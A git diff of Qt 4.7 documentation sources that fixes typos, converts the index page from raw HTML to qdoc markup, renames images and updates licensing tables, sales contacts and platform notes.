+   \row   \o \c {-no-iwmmxt} \o Do not compile with use of IWMMXT instructions \o
+   \row   \o \c {-iwmmxt} \o Do compile with use of IWMMXT instructions. \o This is
+   for Qt for Windows CE on Arm only. This option denotes a default value and
+   needs to be evaluated. If the evaluation succeeds, the feature is included.
+   \row   \o \c {-no-crt} \o Do not add the C runtime to default deployment rules.
+   \o Defualt value.
+   \row   \o \c {-qt-crt} \o Qt identifies C runtime during project generation \o
+   \row   \o \c {-crt <path>} \o Specify path to C runtime used for project
+   generation. \o
+   \row   \o \c {-no-cetest} \o Do not compile Windows CE remote test application \o
+   \row   \o \c {-cetest} \o Compile Windows CE remote test application \o This
+   option denotes a default value and needs to be evaluated. If the evaluation
+   succeeds, the feature is included.
+   \row   \o \c {-signature <file>} \o Use file for signing the target project \o
+   \row   \o \c {-phonon-wince-ds9} \o Enable Phonon Direct Show 9 backend for
+   Windows CE \o Defualt value
+   \endtable
+	
+ \section2 Qt for Symbian OS only:
+   \table
+   \header \o Option  \o Description \o Note
+   \row   \o \c {-no-freetype} \o Do not compile in Freetype2 support.
+   \o Defualt value.
+   \row   \o \c {-qt-freetype} \o Use the libfreetype bundled with Qt. \o
+   \row   \o \c {-fpu <flags>} \o VFP type on ARM, supported options:
+   softvfp(default) |vfpv2 | softvfp+vfpv2 \o
+   \row   \o \c {-no-s60} \o Do not compile in S60 support. \o
+   \row   \o \c {-s60} \o Compile with support for the S60 UI Framework 
+   \o Defualt value.
+   \row   \o \c {-no-usedeffiles} \o Disable the usage of DEF files. \o
+   \row   \o \c {-usedeffiles} \o Enable the usage of DEF files. \o
+ \endtable	
+*/
diff --git a/doc/src/howtos/HWacceleration.qdoc b/doc/src/howtos/HWacceleration.qdoc
index 7cc3346..0dc5d5e 100644
--- a/doc/src/howtos/HWacceleration.qdoc
+++ b/doc/src/howtos/HWacceleration.qdoc
@@ -27,7 +27,7 @@
 
 /*!
     \page HWAcc_rendering.html
-    \title Hardware Acceleration &amp Embedded Platforms.
+    \title Hardware Acceleration and Embedded Platforms.
     \brief How to use hardware acceleration for fast rendering.
 
     \ingroup best-practices
@@ -45,11 +45,11 @@
     \input platforms/emb-hardwareacceleration.qdocinc
 
     \section1 Supported platforms
-	Since there might be differences to how the APIs are being used on
-	the different embedded platforms, this table provides you with links to
-	pages dedicated to platform specific documentation for each
-	supported hardware acceleration API. Click the API link for the
-	platform to go the correct documentation.
+        Since there might be differences to how the APIs are being used on
+        the different embedded platforms, this table provides you with links to
+        pages dedicated to platform specific documentation for each
+        supported hardware acceleration API. Click the API link for the
+        platform to go the correct documentation.
 
     \table
         \header
diff --git a/doc/src/howtos/restoring-geometry.qdoc b/doc/src/howtos/restoring-geometry.qdoc
index 005a29e..b3d6355 100644
--- a/doc/src/howtos/restoring-geometry.qdoc
+++ b/doc/src/howtos/restoring-geometry.qdoc
@@ -28,7 +28,7 @@
 /*!
     \page restoring-geometry.html
     \title Restoring a Window's Geometry
-    \brief How to save &amp restore window geometry.
+    \brief How to save &amp; restore window geometry.
     \ingroup best-practices
 
     This document describes how to save and restore a \l{Window
diff --git a/doc/src/howtos/sharedlibrary.qdoc b/doc/src/howtos/sharedlibrary.qdoc
index 5b47618..3e611b9 100644
--- a/doc/src/howtos/sharedlibrary.qdoc
+++ b/doc/src/howtos/sharedlibrary.qdoc
@@ -59,7 +59,7 @@
     \endlist
 
     Now, we need to ensure that the right macro is invoked -- whether we
-    compile a share library itself, or just the client using the shared
+    compile a shared library itself, or just the client using the shared
     library.
     Typically, this can be solved by adding a special header.
 
diff --git a/doc/src/images/audiodevices-example.png b/doc/src/images/audiodevices-example.png
new file mode 100755
index 0000000..ae857df
--- /dev/null
+++ b/doc/src/images/audiodevices-example.png
diff --git a/doc/src/images/audioinput-example.png b/doc/src/images/audioinput-example.png
new file mode 100644
index 0000000..fb703e6
--- /dev/null
+++ b/doc/src/images/audioinput-example.png
diff --git a/doc/src/images/audiooutput-example.png b/doc/src/images/audiooutput-example.png
new file mode 100755
index 0000000..5588fbb
--- /dev/null
+++ b/doc/src/images/audiooutput-example.png
diff --git a/doc/src/images/combo-widget-mapper.png b/doc/src/images/combowidgetmapper-example.png
index 910d6ed..910d6ed 100644
--- a/doc/src/images/combo-widget-mapper.png
+++ b/doc/src/images/combowidgetmapper-example.png
diff --git a/doc/src/images/declarative-colors.png b/doc/src/images/declarative-colors.png
new file mode 100644
index 0000000..f2eacd8
--- /dev/null
+++ b/doc/src/images/declarative-colors.png
diff --git a/doc/src/images/combobox.png b/doc/src/images/modelview-combobox.png
index d172b41..d172b41 100755
--- a/doc/src/images/combobox.png
+++ b/doc/src/images/modelview-combobox.png
diff --git a/doc/src/images/header.png b/doc/src/images/modelview-header.png
index 2597635..2597635 100755
--- a/doc/src/images/header.png
+++ b/doc/src/images/modelview-header.png
diff --git a/doc/src/images/mediaplayer-demo.png b/doc/src/images/qmediaplayer-demo.png
index 2c1f9b4..2c1f9b4 100644
--- a/doc/src/images/mediaplayer-demo.png
+++ b/doc/src/images/qmediaplayer-demo.png
diff --git a/doc/src/images/qml-positioners-layoutdirection-example.png b/doc/src/images/qml-positioners-layoutdirection-example.png
new file mode 100644
index 0000000..2c42b09
--- /dev/null
+++ b/doc/src/images/qml-positioners-layoutdirection-example.png
diff --git a/doc/src/images/roaming-states.png b/doc/src/images/roaming-states.png
new file mode 100644
index 0000000..bc61cac
--- /dev/null
+++ b/doc/src/images/roaming-states.png
diff --git a/doc/src/index.qdoc b/doc/src/index.qdoc
index 3bef2ad..be59c2f 100644
--- a/doc/src/index.qdoc
+++ b/doc/src/index.qdoc
@@ -29,83 +29,91 @@
     \page index.html
     \keyword Qt Reference Documentation
 
-    \raw HTML
-          <div class="indexbox guide" >
-            <div class="heading">
-              Qt Developer Guide</div>
-            <div class="indexboxcont indexboxbar">
-              <div class="section indexIcon"><span></span></div>
-              <div class="section">
-                <p>Qt is a cross-platform application and UI framework. Using Qt, you can write web-enabled applications once and deploy them across desktop, mobile and embedded operating systems without rewriting the source code.</p>
-              </div>
-              <div class="section sectionlist">
-                <ul>
-                  <li><a href="gettingstarted.html">Getting started</a></li>
-                  <li><a href="installation.html">Installation</a></li>
-                  <li><a href="how-to-learn-qt.html">How to learn Qt</a></li>
-                  <li><a href="tutorials.html">Tutorials</a></li>
-                  <li><a href="all-examples.html">Examples</a></li>
-                  <li><a href="qt4-7-intro.html">What's new in Qt 4.7</a></li>
-                </ul>
-              </div>
-            </div>
-          </div>
-          <div class="indexbox api">
-            <div class="heading">
-              Qt API</div>
-            <div class="indexboxcont indexboxbar ">
-              <div class="sectionlist tricol">
-                <ul>
-                    <li><a href="classes.html">All Classes</a></li>
-                    <li><a href="functions.html">All Functions</a></li>
-                    <li><a href="modules.html">All Modules</a></li>
-                    <li><a href="namespaces.html">All Namespaces</a></li>
-                    <li><a href="qtglobal.html">Global Declarations</a></li>
-                    <li><a href="licensing.html">Licenses and Credits</a></li>
-                </ul>
-              </div>
-              <div class="sectionlist  tricol">
-                <ul>
-                    <li><a href="qt-basic-concepts.html">Programming with Qt</a></li>
-                    <li><a href="qt-gui-concepts.html">UI Design with Qt</a></li>
-                    <li><a href="developing-with-qt.html">Cross-platform and Platform-specific</a></li>
-                    <li><a href="technology-apis.html">Qt and Key Technologies</a></li>
-                    <li><a href="best-practices.html">Best Practices Guides</a></li>
-               </ul>
-              </div>
-              <div class="sectionlist">
-                <ul>
-                    <li><a href="qtquick.html">Qt Quick</a></li>
-                    <li><a href="qdeclarativeintroduction.html">Introduction to QML</a></li>
-                    <li><a href="qdeclarativeelements.html">QML Elements</a></li>
-                    <li><a href="qdeclarativeexamples.html">QML Examples and Demos</a></li>
-                </ul>
-              </div>
-            </div>
-          </div>
-          <div class="indexbox tools">
-            <div class="heading">
-              Qt Tools</div>
-            <div class="indexboxcont">
-              <div class="section indexIcon"><span></span></div>
-              <div class="section">
-                <p>Qt offers a selection of development tools for different tasks. Use Qt Creator for
-                project and code management as well as building powerfull UIs.</p>
-              </div>
-              <div class="section sectionlist">
-                <ul>
-                  <li><a href="http://doc.qt.nokia.com/qtcreator-2.0/index.html">Qt Creator</a></li>
-                  <li><a href="designer-manual.html">Qt Designer</a></li>
-                  <li><a href="linguist-manual.html">Qt Linguist</a></li>
-                  <li><a href="assistant-manual.html">Qt Assistant</a></li>
-                  <li><a href="qmake-manual.html">Qt qmake</a></li>
-                  <li><a href="http://doc.qt.nokia.com/qtsimulator-1.0/index.html">Qt Simulator</a></li>
-                  <li><a href="http://qt.nokia.com/developer/eclipse-integration">Eclipse Integration</a></li>
-                  <li><a href="http://qt.nokia.com/products/appdev">Add-On Products and Services</a></li>
-                  <li><a href="qvfb.html">Virtual Framebuffer</a></li>
-                </ul>
-              </div>
-            </div>
-          </div>
-    \endraw
+          \div {indexbox guide}
+            \div {heading}
+              Qt Developer Guide 
+	    \enddiv
+            \div {indexboxcont indexboxbar}
+              \div {section indexIcon} \emptyspan
+              \enddiv
+              \div {section}
+                Qt is a cross-platform application and UI
+                framework. Using Qt, you can write web-enabled
+                applications once and deploy them across desktop,
+                mobile and embedded operating systems without
+                rewriting the source code.
+              \enddiv
+              \div {section sectionlist}
+                \list
+                  \o \l{Getting Started Guides}{Getting started}
+                  \o \l{Installation}{Installation}
+                  \o \l{how-to-learn-qt.html}{How to learn Qt}
+                  \o \l{tutorials.html}{Tutorials}
+                  \o \l{Qt Examples}{Examples}
+                  \o \l{qt4-7-intro.html}{What's new in Qt 4.7}
+                \endlist
+             \enddiv
+            \enddiv
+          \enddiv
+          \div {indexbox api}
+            \div {heading}
+              Qt API 
+	    \enddiv
+            \div {indexboxcont indexboxbar }
+              \div {sectionlist tricol}
+                \list
+                    \o \l{All Classes}{All Classes}
+                    \o \l{All Functions}{All Functions}
+                    \o \l{All Modules}{All Modules}
+                    \o \l{All Namespaces}{All Namespaces}
+                    \o \l{Global Qt Declarations}{Global Declarations}
+                    \o \l{Qt Licenses and Credits}{Licenses and Credits}
+                \endlist
+              \enddiv
+              \div {sectionlist  tricol}
+                \list
+                    \o \l{Programming with Qt}
+                    \o \l{UI Design with Qt}
+                    \o \l{Cross-Platform and Platform-Specific Development}
+                    \o \l{Qt and Key Technologies}
+                    \o \l{Best Practice Guides}
+                \endlist
+              \enddiv
+              \div {sectionlist}
+                \list
+                    \o \l{qtquick.html}{Qt Quick}
+                    \o \l{qdeclarativeintroduction.html}{Introduction to QML}
+                    \o \l{qdeclarativeelements.html}{QML Elements}
+                    \o \l{qdeclarativeexamples.html}{QML Examples and Demos}
+                \endlist
+              \enddiv
+            \enddiv
+          \enddiv
+          \div {indexbox tools}
+            \div {heading}
+              Qt Tools 
+	    \enddiv
+            \div {indexboxcont}
+              \div {section indexIcon} \emptyspan
+	      \enddiv
+              \div {section}
+                Qt offers a selection of development tools for
+                different tasks. Use Qt Creator for project and code
+                management as well as building powerfull UIs.
+              \enddiv
+              \div {section sectionlist}
+                \list
+                  \o \l{http://doc.qt.nokia.com/qtcreator-2.0/index.html}{Qt Creator}
+                  \o \l{designer-manual.html}{Qt Designer}
+                  \o \l{linguist-manual.html}{Qt Linguist}
+                  \o \l{assistant-manual.html}{Qt Assistant}
+                  \o \l{qmake-manual.html}{Qt qmake}
+                  \o \l{http://doc.qt.nokia.com/qtsimulator-1.0/index.html}{Qt Simulator}
+                  \o \l{http://qt.nokia.com/developer/eclipse-integration}{Eclipse Integration}
+                  \o \l{http://qt.nokia.com/products/appdev}{Add-On Products and Services}
+                  \o \l{qvfb.html}{Virtual Framebuffer}
+                \endlist
+              \enddiv
+            \enddiv
+          \enddiv
 */
diff --git a/doc/src/internationalization/linguist-manual.qdoc b/doc/src/internationalization/linguist-manual.qdoc
index 0caea77..1f413f9 100644
--- a/doc/src/internationalization/linguist-manual.qdoc
+++ b/doc/src/internationalization/linguist-manual.qdoc
@@ -95,7 +95,7 @@
 
     \o A single phrase may need to be translated into several
     different forms depending on context, e.g. \e open in English
-    might become \e{\ouml\c{}ffnen}, "open file", or \e aufbauen,
+    might become \e{\ouml}\e{ffnen}, "open file", or \e aufbauen,
     "open internet connection", in German.
 
     \o Keyboard accelerators may need to be changed but without
@@ -159,7 +159,7 @@
     \section1 Qt Project Files
 
     The easiest method to use \l{#lupdate} {lupdate} and \l{#lrelease}
-    {lrelease} is by specifing a \c .pro Qt project file. There must
+    {lrelease} is by specifying a \c .pro Qt project file. There must
     be an entry in the \c TRANSLATIONS section of the project file for
     each language that is additional to the native language. A typical
     entry looks like this:
@@ -342,8 +342,8 @@
     the bottom of the main window. The phrases and guesses window
     shows possible translations for the current string. These
     translation "guesses" have been read from phrase books
-    (\menu{Phrases|Open Phrase Book...}).  The current string's
-    current translation is also shown here. To select a guess, double
+    (\menu{Phrases|Open Phrase Book...}).  The current strings
+    translation is also shown here. To select a guess, double
     click it in the phrases and guesses window or use the keyboard
     shortcut shown to the right of the guess.
 
@@ -371,7 +371,7 @@
     subwindows are: \l{Context Window} {Context}, \l{Sources and Forms
     Window} {Sources and Forms}, \l{Strings Window} {Strings},
     \l{Phrases and Guesses Window} {Phrases and guesses}, and
-    \l{Warnings Window} {Warnings} (hidden in the UI snapsot). The
+    \l{Warnings Window} {Warnings} (hidden in the UI snapshot). The
     translation area is always visible, but the dockable subwindows
     can be activated or deactivated in the \menu{View|Views} menu, and
     dragged around by their title bars and dropped in the translation
@@ -513,7 +513,7 @@
     \o No Translation
     \o \inlineimage linguist-check-empty.png
     \o The string does not have a translation. Click the icon to 
-    accpet the empty translation anyway. The state is reset to  
+    accept the empty translation anyway. The state is reset to  
     \inlineimage linguist-check-on.png
     , and the number of accepted translations in the \e{Items} column 
     of the \l{Context Window} {context list} is incremented by 1.
@@ -567,7 +567,7 @@
 
     When \l{Translating Multiple Languages Simultaneously} {multiple
     languages} are being translated, this sequence of fields is
-    repeated for each language. See aso \l {Changing the Target
+    repeated for each language. See also \l {Changing the Target
     Locale}.
 
     \section2 Phrases and Guesses Window
@@ -585,7 +585,7 @@
     translation area, or you can use the translation's \e{Guess}
     hotkey on the right. You can also press \key{F10} to move the
     focus to the Phrases and Guesses Window, then use the up and down
-    arrow keys to find the desired translation, and and then press
+    arrow keys to find the desired translation, and then press
     \key{Enter} to copy it to the translation area.  If you decide
     that you don't want to copy a phrase after all, press \key{Esc} to
     return the focus to the translation area.
@@ -649,7 +649,7 @@
     {translation area} has text editing areas for both Polish and
     Japanese, and these are color-coded for easier separation.
     Second, the \l{Context Window} and the \l{Strings Window} both
-    have two clomuns labeled \inlineimage linguist-check-obsolete.png
+    have two columns labeled \inlineimage linguist-check-obsolete.png
     instead of one, and although it may be hard to tell, these columns
     are also color-coded with the same colors. The left-most column in
     either case applies to the top-most language area (Polish above)
@@ -793,7 +793,7 @@
     might reverse the phrases, e.g. \c{Datei %2 wird bearbeitet, wenn
     Datei %1 fertig ist}. Both numbered arguments appear in the
     translation, but in the reverse order. \c{%i} will always be
-    replaced by the same text in the translation stringss, regardless
+    replaced by the same text in the translation strings, regardless
     of where argument \e{i} appears in the argument sequence in the
     source string.
 
@@ -843,7 +843,7 @@
     are used to provide a common set of translations to help ensure consistency. 
     They can also be used to avoid duplication of effort since the translations 
     for a family of applications can be produced once in the phrase book.
-    If the translator reaches an untranslated phrase that is the same as a
+    If the translator reaches an non-translated phrase that is the same as a
     source phrase in a phrase book, \QL will show the
     phrase book entry in the \l {Phrases and Guesses Window}.
 
@@ -935,7 +935,7 @@
     List on the left hand. If the path to the files has changed, you can load
     the files manually via \menu{File|Open Form...}. Double-click on an entry
     in the Forms List to display the Form File. Select \e{<No Translation>} from
-    the toolbar to display the untranslated form.
+    the toolbar to display the non-translated form.
 
     \section1 Qt Linguist Reference
 
@@ -1027,7 +1027,7 @@
     \o \gui {Translation}
         \list
         \o \gui {Prev Unfinished Ctrl+K} \BR moves to the nearest previous
-        unfinished source phrase (unfinished means untranslated or
+        unfinished source phrase (unfinished means non-translated or
         translated but failed validation).
         \o \gui {Next Unfinished Ctrl+L} \BR moves to the next unfinished source
         phrase.
@@ -1406,7 +1406,7 @@
     If a French translation is loaded, this will expand to "0 item 
     remplac\unicode{233}", "1 item remplac\unicode{233}", "2 items 
     remplac\unicode{233}s", etc., depending on \c{n}'s value. 
-    And if no translation is loaded, the orignal string is used, with \c %n 
+    And if no translation is loaded, the original string is used, with \c %n 
     replaced with count's value (e.g., "6 item(s) replaced").
 
     To handle plural forms in the native language, you need to load a 
diff --git a/doc/src/legal/3rdparty.qdoc b/doc/src/legal/3rdparty.qdoc
index 2c8cbef..ffac885 100644
--- a/doc/src/legal/3rdparty.qdoc
+++ b/doc/src/legal/3rdparty.qdoc
@@ -92,13 +92,8 @@
 
     \section1 HarfBuzz (\c harfbuzz)
 
-    \e{This is HarfBuzz, an OpenType Layout engine.}
-
-    \e{It was derived originally from the OpenType code in FreeType-1.x, ported to
-    FreeType2.  (This code has been abandoned for FreeType2, but until something
-    better comes along, should serve our purposes.) In addition to porting to
-    FreeType-2, it has been modified in various other ways.} -- quoted from
-    \c src/3rdparty/harfbuzz/README.
+    \e{This is HarfBuzz, an OpenType Layout engine library.}
+    -- quoted from \c src/3rdparty/harfbuzz/README.
 
     \hr
 
@@ -129,8 +124,7 @@
 
     \hr
 
-    See \c src/3rdparty/harfbuzz/COPYING.FTL and src/3rdparty/harfbuzz/COPYING.GPL
-    for license details.
+    See \c src/3rdparty/harfbuzz/COPYING for license details.
 
     \section1 The Independent JPEG Group's JPEG Software (\c libjpeg) version 8
 
diff --git a/doc/src/legal/commercialeditions.qdoc b/doc/src/legal/commercialeditions.qdoc
index 37aed3f..2537a13 100644
--- a/doc/src/legal/commercialeditions.qdoc
+++ b/doc/src/legal/commercialeditions.qdoc
@@ -37,23 +37,46 @@
     If you want to develop Free or Open Source software for release using a recognized
     Open Source license, you can use the \l{Open Source Versions of Qt}.
 
-    The table below summarizes the differences between the two commercial editions:
+    The following table is a summary of the licenses under which Qt is made available.
+
+    \table
+    \row \o \bold{Qt Commercial Developer License}
+    \o The Qt Commercial Developer License is the appropriate version to use for the
+    development of proprietary and/or commercial software where the developer does not
+    wish to share or distribute any source code of the Qt libraries or otherwise comply
+    with the terms of the \l{GNU Lesser General Public License (LGPL)}{GNU Lesser General
+    Public License version 2.1} or \l{GNU General Public License (GPL)}{GNU GPL version
+    3.0}.
+    \row \o \bold{Qt GNU LGPL v. 2.1}
+    \o This version of Qt is appropriate for the development of Qt applications
+    (proprietary or open source) provided you can comply with the terms and conditions
+    contained in the \l{GNU Lesser General Public License (LGPL)}{GNU LGPL version 2.1}.
+    \row \o \bold{Qt GNU GPL v. 3.0}
+    \o This version of Qt is appropriate for the development of Qt applications where
+    you wish to use such applications in combination with software subject to the terms
+    of the GNU General Public License version 3.0 or where you are otherwise willing to
+    comply with the terms of the
+    \l{GNU General Public License (GPL)}{GNU General Public License version 3.0}.
+    \endtable
 
     Please see the \l{Supported Platforms}{list of supported
     platforms} for up-to-date information about the various platforms
     and compilers that Qt supports.
 
-    On the Qt web site, you can find a
+    On the Qt Web site, you can find a
     \l{Qt Licensing Overview} and information on \l{Qt License Pricing}
     for commercial editions of Qt and other Qt-related products.
 
-    To purchase, please visit the \l{How to Order}{online order form}.
-
-    For further information and assistance, please contact Qt sales.
+    \section1 Purchasing and Sales Information
 
-    Web: http://qt.nokia.com/contact.
+    To purchase, please visit the \l{How to Order}{online order form}.
 
-    Phone, U.S. office (for North America): \bold{1-650-813-1676}.
+    For further information and assistance, please contact the Qt sales team
+    via one of the following channels:
 
-    Phone, Norway office (for the rest of the world): \bold{+47 21 60 48 00}.
+    \table
+    \row \o Web: \o \bold{http://qt.nokia.com/contact}
+    \row \o Phone, U.S. office (for sales in North America): \o \bold{1-408-220-9020}
+    \row \o Phone, Norway office (for sales in the rest of the world): \o \bold{+47 21 60 48 00}
+    \endtable
 */
diff --git a/doc/src/modules.qdoc b/doc/src/modules.qdoc
index 9dbf7a7..38a7a8b 100644
--- a/doc/src/modules.qdoc
+++ b/doc/src/modules.qdoc
@@ -30,7 +30,7 @@
     \title All Modules
     \startpage index.html Qt Reference Documentation
     \nextpage QtCore
-    
+
     \ingroup classlists
 
     \brief Qt 4 comprises several modules. Each module is a separate
@@ -40,7 +40,7 @@
     \header \o {2,1} \bold{Modules for general software development}
     \row \o \l{QtCore} \o Core non-graphical classes used by other modules
     \row \o \l{QtGui} \o Graphical user interface (GUI) components
-    \row \o \l{qtmultimedia-module.html}{QtMultimedia} \o Classes for low-level multimedia functionality
+    \row \o \l{QtMultimedia Module}{QtMultimedia} \o Classes for low-level multimedia functionality
     \row \o \l{QtNetwork} \o Classes for network programming
     \row \o \l{QtOpenGL} \o OpenGL support classes
     \row \o \l{QtOpenVG} \o OpenVG support classes
diff --git a/doc/src/overviews.qdoc b/doc/src/overviews.qdoc
index 61de954..f51e320 100644
--- a/doc/src/overviews.qdoc
+++ b/doc/src/overviews.qdoc
@@ -42,7 +42,7 @@
     Qt is a cross-platform application and UI framework for writing
     web-enabled applications for desktop, mobile, and embedded
     operating systems. This page contains links to articles and overviews
-	explaining key components and techniuqes used in Qt development.
+	explaining key components and techniques used in Qt development.
 	
     \generatelist {related}
  */
@@ -51,7 +51,7 @@
     \group qt-gui-concepts
     \title UI Design with Qt
 
-    \brief The Qt components for constructing native look & feel desktop UI's.
+    \brief The Qt components for constructing native look and feel desktop UI's.
 
     These pages are about Qt's traditional set of GUI components for
     building both native look & feel and custom UI's for the desktop
@@ -122,9 +122,9 @@
 
 /*!
     \group best-practices
-    \title Best Practices Guides
+    \title Best Practice Guides
 
-    \brief How-To Guides and Best Practices
+    \brief How-To and Best Practice Guides
 
     These documents provide guidelines and best practices for using Qt
     to solve specific technical problems. They are listed
diff --git a/doc/src/painting-and-printing/coordsys.qdoc b/doc/src/painting-and-printing/coordsys.qdoc
index a8febae..252159e 100644
--- a/doc/src/painting-and-printing/coordsys.qdoc
+++ b/doc/src/painting-and-printing/coordsys.qdoc
@@ -29,6 +29,7 @@
     \page coordsys.html
     \title Coordinate System
     \ingroup qt-graphics
+	\ingroup best-practices
     \brief Information about the coordinate system used by the paint
     system.
 
diff --git a/doc/src/platforms/emb-accel.qdoc b/doc/src/platforms/emb-accel.qdoc
index c987522..5105093 100644
--- a/doc/src/platforms/emb-accel.qdoc
+++ b/doc/src/platforms/emb-accel.qdoc
@@ -117,8 +117,8 @@
 
     \section1 Step 4: Make the Window Surface Aware of Your Paint Device
 
-    Derive from the QWSWindowSurface class and reimplement its \l
-    {QWSWindowSurface::}{paintDevice()} function. Make this function
+    Derive from the QWSWindowSurface class and reimplement its 
+    paintDevice() function. Make this function
     return a pointer to your custom raster paint device.
 
     \section1 Step 5: Enable Creation of an Instance of Your Window Surface
diff --git a/doc/src/platforms/emb-qvfb.qdoc b/doc/src/platforms/emb-qvfb.qdoc
index b83da4a..e0e6fa2 100644
--- a/doc/src/platforms/emb-qvfb.qdoc
+++ b/doc/src/platforms/emb-qvfb.qdoc
@@ -197,7 +197,6 @@
     for the button are redrawn from the activated skin.
 
     \row
-    \row
     \o
     \image qt-embedded-clamshellphone-closed.png The ClamshellPhone Skin (closed)
     \o
diff --git a/doc/src/platforms/platform-notes.qdoc b/doc/src/platforms/platform-notes.qdoc
index aac6bb0..de6eb7f 100644
--- a/doc/src/platforms/platform-notes.qdoc
+++ b/doc/src/platforms/platform-notes.qdoc
@@ -735,9 +735,9 @@
     \row    \o QtCore
             \o \c AllFiles when \l{http://developer.symbian.org/wiki/index.php/Capabilities_%28Symbian_Signed%29/AllFiles_Capability}{accessing specific areas.}
     \row    \o QtDeclarative
-            \o \c NetworkServices is automatically added for this module.
+            \o \c NetworkServices is automatically added for this module if no capabilities are explicitly specified.
     \row    \o QtNetwork
-            \o \c NetworkServices is automatically added for this module.
+            \o \c NetworkServices is automatically added for this module if no capabilities are explicitly specified.
     \row    \o QtNetwork
             \o \c ReadUserData is required to include all the phone's SSL certificates in the system's default CA certificate list
                   (for example those added by the user or stored in the SIM card),
@@ -745,7 +745,7 @@
     \row    \o QtMultiMedia
             \o \c UserEnvironment if QAudioInput is used.
     \row    \o QtWebkit
-            \o \c NetworkServices is automatically added for this module.
+            \o \c NetworkServices is automatically added for this module if no capabilities are explicitly specified.
     \endtable
 
     \note Some modules rely on other modules. E.g. QtWebkit and QtDeclarative
diff --git a/doc/src/porting/porting4-modifiedvirtual.qdocinc b/doc/src/porting/porting4-modifiedvirtual.qdocinc
index 1164238..332543f 100644
--- a/doc/src/porting/porting4-modifiedvirtual.qdocinc
+++ b/doc/src/porting/porting4-modifiedvirtual.qdocinc
@@ -10,7 +10,7 @@
 \row \o bool QMacMime::canConvert(const char *, int) \o bool QMacMime::canConvert(const QString &, int)
 \row \o QValueList<QByteArray> QMacMime::convertFromMime(QByteArray, const char *, int) \o QList<QByteArray> QMacMime::convertFromMime(QByteArray, const QString &, int)
 \row \o QByteArray QMacMime::convertToMime(QValueList<QByteArray> data, const char *, int) \o QByteArray QMacMime::convertToMime(QList<QByteArray> data, const QString &, int)
-\row \o const char * QMacMime::convertorName() \o QString QMacMime::convertorName()
+\row \o const char * QMacMime::convertorName( ) \o QString QMacMime::convertorName( )
 \row \o int QMacMime::flavorFor(const char *) \o int QMacMime::flavorFor(const QString &)
 \row \o const char * QMacMime::mimeFor(int) \o QString QMacMime::mimeFor(int)
 \row \o QMetaObject * QObject::metaObject() const \o const QMetaObject * QObject::metaObject() const
diff --git a/doc/src/porting/porting4.qdoc b/doc/src/porting/porting4.qdoc
index 0e8cd86..a3960c3 100644
--- a/doc/src/porting/porting4.qdoc
+++ b/doc/src/porting/porting4.qdoc
@@ -3609,7 +3609,7 @@
     \row \o \c PE_WindowFrame               \o QStyle::PE_FrameWindow
     \row \o \c PE_CheckListController       \o QStyle::PE_Q3CheckListController
     \row \o \c PE_CheckListIndicator        \o QStyle::PE_Q3CheckListIndicator
-    \row \o \c PE_CheckListExclusiveIndicato\o QStyle::PE_Q3CheckListExclusiveIndicator
+    \row \o \c PE_CheckListExclusiveIndicator \o QStyle::PE_Q3CheckListExclusiveIndicator
     \row \o \c PE_PanelGroupBox             \o QStyle::PE_FrameGroupBox
     \row \o \c PE_TreeBranch                \o QStyle::PE_IndicatorBranch
     \row \o \c PE_RubberBand                \o QStyle::CE_RubberBand \o uses QStyle::drawControl()
diff --git a/doc/src/qt-webpages.qdoc b/doc/src/qt-webpages.qdoc
index e476b68..5a3bfc9 100644
--- a/doc/src/qt-webpages.qdoc
+++ b/doc/src/qt-webpages.qdoc
@@ -244,3 +244,8 @@
     \externalpage http://labs.qt.nokia.com
     \title Qt Labs
 */
+
+/*!
+    \externalpage http://qt.gitorious.org/qt/pages/QtCodingStyle
+    \title Qt Coding Style
+*/
diff --git a/doc/src/qt4-intro.qdoc b/doc/src/qt4-intro.qdoc
index 6effbfa..3cabb1c 100644
--- a/doc/src/qt4-intro.qdoc
+++ b/doc/src/qt4-intro.qdoc
@@ -328,7 +328,7 @@
 
     With Qt 4, the Qt class has become the Qt namespace. If you want
     to access a constant that is part of the Qt namespace, prefix it
-    with \c Qt:: (e.g., \c{Qt::yellow}), or add the directive
+    with \c{Qt::} (e.g., \c{Qt::yellow}), or add the directive
 
     \snippet doc/src/snippets/code/doc_src_qt4-intro.qdoc 7
 
@@ -341,7 +341,7 @@
     in Qt 3, it was legal to write \c QWidget::yellow instead of \c
     Qt::yellow, because QWidget inherited from Qt. This won't work in
     Qt 4; you must write \c Qt::yellow or add the "using namespace"
-    directive and drop the \c Qt:: prefix.
+    directive and drop the \c{Qt::} prefix.
 
     The \l{qt3to4 - The Qt 3 to 4 Porting Tool}{qt3to4} porting tool
     automates this conversion.
diff --git a/doc/src/snippets/code/doc_src_installation.qdoc b/doc/src/snippets/code/doc_src_installation.qdoc
index cf204b5..5aaa2b0 100644
--- a/doc/src/snippets/code/doc_src_installation.qdoc
+++ b/doc/src/snippets/code/doc_src_installation.qdoc
@@ -328,9 +328,10 @@ runonphone -s myapp.sis myapp.exe
 //! [49]
 
 //! [50]
-nokia_plugin/openc/s60opencsis/openc_ssl_s60_1_6_ss.sis
-nokia_plugin/openc/s60opencsis/pips_s60_1_6_ss.sis
-nokia_plugin/opencpp/s60opencppsis/stdcpp_s60_1_6_ss.sis
+src/s60installs/sqlite3.sis
+$EPOCROOT/nokia_plugin/openc/s60opencsis/openc_ssl_s60_1_6_ss.sis
+$EPOCROOT/nokia_plugin/openc/s60opencsis/pips_s60_1_6_ss.sis
+$EPOCROOT/nokia_plugin/opencpp/s60opencppsis/stdcpp_s60_1_6_ss.sis
 //! [50]
 
 
diff --git a/doc/src/snippets/code/doc_src_lgpl.qdoc b/doc/src/snippets/code/doc_src_lgpl.qdoc
index 11fd0ff..3ff5936 100644
--- a/doc/src/snippets/code/doc_src_lgpl.qdoc
+++ b/doc/src/snippets/code/doc_src_lgpl.qdoc
@@ -96,7 +96,7 @@ modified by someone else and passed on, the recipients should know
 that what they have is not the original version, so that the original
 author's reputation will not be affected by problems that might be
 introduced by others.
-
+
   Finally, software patents pose a constant threat to the existence of
 any free program.  We wish to make sure that a company cannot
 effectively restrict the users of a free program by obtaining a
@@ -152,7 +152,7 @@ modification follow.  Pay close attention to the difference between a
 "work based on the library" and a "work that uses the library".  The
 former contains code derived from the library, whereas the latter must
 be combined with the library in order to run.
-
+
 		  GNU LESSER GENERAL PUBLIC LICENSE
    TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
 
@@ -199,7 +199,7 @@ Library.
   You may charge a fee for the physical act of transferring a copy,
 and you may at your option offer warranty protection in exchange for a
 fee.
-
+
   2. You may modify your copy or copies of the Library or any portion
 of it, thus forming a work based on the Library, and copy and
